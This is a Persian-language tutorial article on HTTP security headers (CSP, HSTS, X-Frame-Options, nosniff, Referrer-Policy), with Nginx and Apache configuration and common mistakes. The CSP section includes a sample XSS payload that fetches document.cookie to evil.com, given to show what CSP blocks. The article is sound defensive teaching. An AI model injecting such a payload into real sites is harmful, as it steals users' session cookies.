هدر امنیتی چیست و چرا سایت شما به آن نیاز دارد؟
وقتی مرورگر کاربر درخواستی به سرور شما میفرستد، پاسخ HTTP فقط شامل محتوای صفحه نیست؛ شامل مجموعهای از هدرها (Headers) است که به مرورگر میگوید چگونه با محتوا برخورد کند. هدر امنیتی نوع خاصی از این هدرهاست که رفتار مرورگر را در شرایط حساس امنیتی کنترل میکند: آیا اجازه دارد اسکریپتهای inline را اجرا کند؟ آیا میتواند صفحه را در iframe بارگذاری کند؟ آیا باید فقط از HTTPS استفاده کند؟
بسیاری از حملات رایج مانند XSS، clickjacking و MIME sniffing نه به دلیل ضعف در کد، بلکه به این خاطر موفق میشوند که سرور به مرورگر نگفته است چه رفتاری مجاز است. تنظیم درست این هدرها یکی از سریعترین و کمهزینهترین راههای بالا بردن امنیت سایت است. در این مقاله هر هدر را با مثال عملی، سناریوی حملهای که متوقف میکند و اشتباهات رایج بررسی میکنیم.
Content-Security-Policy (CSP): سد محکم در برابر XSS
حملات XSS (Cross-Site Scripting) زمانی رخ میدهد که مهاجم بتواند اسکریپت دلخواه خود را در صفحه شما تزریق کند. هدر Content-Security-Policy به مرورگر میگوید چه منابعی (اسکریپت، استایل، تصویر، فونت و...) مجاز به اجرا یا بارگذاری هستند. اگر اسکریپتی خارج از این لیست باشد، مرورگر آن را بلاک میکند.
ساختار پایه CSP
یک سیاست ساده که فقط اسکریپتهای هماندامنه را مجاز میداند:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
این یعنی: همه منابع از دامنه خودتان، اسکریپتها فقط از دامنه خودتان، استایلها فقط از دامنه خودتان. اگر سایت شما از CDN استفاده میکند، باید آن را اضافه کنید:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
دستور 'unsafe-inline' برای استایلها معمولاً اجتنابناپذیر است چون بسیاری از فریمورکها استایل inline تولید میکنند. اما برای اسکریپتها هرگز از آن استفاده نکنید؛ این دقیقاً همان چیزی است که XSS را ممکن میکند.
سناریوی حملهای که CSP متوقف میکند
فرض کنید فرم جستجوی سایت شما ورودی کاربر را بدون sanitize در صفحه بازتاب میدهد. مهاجم لینکی میفرستد که شامل <script>fetch('https://evil.com?cookie='+document.cookie)</script> است. بدون CSP، مرورگر این اسکریپت را اجرا میکند و کوکیها لو میروند. با CSP که script-src 'self' دارد، مرورگر اجرای اسکریپت inline را بلاک میکند و در کنسول خطای زیر را نشان میدهد:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"
اشتباه رایج: استفاده از unsafe-inline برای اسکریپت
بسیاری از توسعهدهندگان برای اینکه سایت سریع راه بیفتد، 'unsafe-inline' را به script-src اضافه میکنند. این کار عملاً CSP را بیاثر میکند. اگر واقعاً به اسکریپت inline نیاز دارید (مثلاً برای تگهای تحلیلی)، از nonce استفاده کنید:
Content-Security-Policy: script-src 'self' 'nonce-رندوم-یکبارمصرف'
و در HTML: <script nonce="رندوم-یکبارمصرف">...</script>. مقدار nonce باید در هر پاسخ سرور تغییر کند. این روش امن است چون مهاجم نمیتواند nonce معتبر را حدس بزند.
Strict-Transport-Security (HSTS): قفل کردن HTTPS
حتی اگر سایت شما HTTPS دارد، کاربر ممکن است آدرس را با http:// تایپ کند یا روی لینک قدیمی کلیک کند. در این فاصله، مهاجم در شبکه (مثلاً وایفای عمومی) میتواند ترافیک را بخواند یا حمله man-in-the-middle انجام دهد. هدر Strict-Transport-Security به مرورگر میگوید: «از این به بعد، فقط با HTTPS به این دامنه وصل شو و هرگز HTTP را قبول نکن.»
پیکربندی استاندارد
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
- max-age: مدت اعتبار به ثانیه (یک سال = 31536000).
- includeSubDomains: همه زیردامنهها هم ملزم به HTTPS شوند.
- preload: دامنه را در لیست HSTS مرورگرها ثبت میکند (باید در hstspreload.org ثبت کنید).
اشتباه رایج: فعال کردن HSTS قبل از اطمینان از HTTPS کامل
اگر حتی یک زیردامنه (مثلاً blog.example.com) هنوز HTTP را سرو میکند، فعال کردن includeSubDomains باعث میشود کاربران نتوانند به آن دسترسی پیدا کنند. مرورگر به سادگی اتصال را بلاک میکند. راهحل: ابتدا همه زیردامنهها را به HTTPS منتقل کنید، سپس HSTS را با max-age کم (مثلاً 300) تست کنید و بعد از چند روز مقدار را به یک سال برسانید.
X-Frame-Options و frame-ancestors: جلوگیری از Clickjacking
در حمله clickjacking، مهاجم سایت شما را در یک iframe شفاف داخل صفحه خودش قرار میدهد و کاربر فکر میکند روی دکمه خودش کلیک میکند، در حالی که روی دکمه «حذف حساب» در سایت شما کلیک کرده است. دو هدر برای مقابله وجود دارد:
X-Frame-Options: DENY
یا نسخه مدرنتر که در CSP هم قابل استفاده است:
Content-Security-Policy: frame-ancestors 'none'
DENY یعنی هیچ دامنهای نمیتواند سایت شما را در iframe بگذارد. اگر نیاز دارید فقط دامنه خودتان بتواند (مثلاً برای ابزارکها)، از SAMEORIGIN استفاده کنید. توجه کنید که frame-ancestors در CSP جدیدتر است و مرورگرهای قدیمی آن را نمیشناسند؛ برای سازگاری، هر دو را بفرستید.
X-Content-Type-Options: پایان MIME Sniffing
مرورگرها گاهی بر اساس محتوای فایل، نوع آن را حدس میزنند (MIME sniffing). اگر مهاجم فایل متنی را با محتوای HTML مخرب آپلود کند، مرورگر ممکن است آن را بهعنوان HTML اجرا کند. هدر زیر این رفتار را غیرفعال میکند:
X-Content-Type-Options: nosniff
این هدر ساده، یکی از کمهزینهترین و مؤثرترین هدرهای امنیتی است و هیچ عارضهای برای کاربر عادی ندارد.
Referrer-Policy: کنترل اطلاعات ارسالی به سایتهای دیگر
وقتی کاربر روی لینک خروجی کلیک میکند، مرورگر بهطور پیشفرض آدرس کامل صفحه مبدأ (شامل query string) را در هدر Referer میفرستد. اگر آدرس شما شامل توکن یا شناسه جلسه باشد، این اطلاعات به سایت مقصد لو میرود. هدر Referrer-Policy این رفتار را کنترل میکند:
Referrer-Policy: strict-origin-when-cross-origin
این مقدار توصیهشده است: در درخواستهای same-origin آدرس کامل ارسال میشود، اما در درخواستهای cross-origin فقط origin (بدون path و query string).
پیادهسازی عملی: کجا هدرها را تنظیم کنیم؟
بسته به زیرساخت شما، روشهای مختلفی وجود دارد:
در Nginx
add_header Content-Security-Policy "default-src 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
کلمه always تضمین میکند هدر حتی در پاسخهای خطا (4xx و 5xx) هم ارسال شود.
در Apache
Header always set Content-Security-Policy "default-src 'self'"
Header always set Strict-Transport-Security "max-age=31536000"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
تست و اشکالزدایی
قبل از اعمال روی سرور اصلی، از ابزارهای آنلاین مانند securityheaders.com استفاده کنید تا وضعیت فعلی هدرها را ببینید. برای تست CSP، از حالت report-only استفاده کنید تا بدون بلاک کردن، خطاها را ببینید:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
این هدر به جای بلاک کردن، گزارش تخلفات را به آدرس مشخصشده میفرستد. بعد از چند روز بررسی گزارشها و رفع مشکلات، هدر اصلی را فعال کنید.
اشتباهات رایج در تنظیم هدرهای امنیتی
- تنظیم HSTS بدون HTTPS کامل: باعث از دست رفتن دسترسی کاربران میشود. همیشه ابتدا HTTPS را کامل کنید.
- استفاده از unsafe-inline در CSP: عملاً XSS را ممکن میکند. بهجای آن از nonce یا hash استفاده کنید.
- فراموش کردن هدرها در پاسخهای خطا: مهاجم میتواند از صفحات 404 برای تزریق استفاده کند. با
alwaysدر Nginx یاalwaysدر Apache این مشکل را حل کنید. - کپی کردن هدرها بدون تست: هر سایتی ساختار متفاوتی دارد. CSP که برای یک سایت SPA درست است، ممکن است سایت شما را کاملاً بشکند. همیشه با حالت report-only شروع کنید.
جمعبندی: از کجا شروع کنیم؟
اگر سایت شما هیچکدام از این هدرها را ندارد، به این ترتیب پیش بروید:
X-Content-Type-Options: nosniffرا اضافه کنید (کمترین ریسک، بیشترین اثر).X-Frame-Options: DENYرا اضافه کنید (مگر اینکه واقعاً به iframe نیاز داشته باشید).Referrer-Policy: strict-origin-when-cross-originرا اضافه کنید.- HSTS را با
max-ageکم تست کنید و بعد از اطمینان، مقدار را افزایش دهید. - CSP را با حالت report-only شروع کنید، گزارشها را بررسی کنید و بعد از رفع مشکلات، آن را فعال کنید.
تنظیم این هدرها زمان زیادی نمیبرد، اما تأثیر آن روی امنیت سایت شما بسیار زیاد است. اگر از هاست اشتراکی استفاده میکنید و دسترسی به تنظیمات سرور ندارید، میتوانید این هدرها را از طریق فایل .htaccess (در Apache) یا از طریق تنظیمات پنل هاست اضافه کنید. در محیطهای مدیریتشده، برخی ارائهدهندگان هاستینگ مانند سرورنت امکان تنظیم این هدرها را در پنل کاربری فراهم میکنند؛ اگر چنین گزینهای ندارید، از تیم پشتیبانی بخواهید که آن را برای شما فعال کند.
امنیت یک فرآیند است، نه یک مقصد. هدرهای امنیتی یکی از لایههای این فرآیند هستند؛ لایهای که با کمترین هزینه، بیشترین محافظت را در برابر رایجترین حملات فراهم میکند.
دیدگاهها ۰
هنوز دیدگاهی ثبت نشده؛ اولین نفر باشید!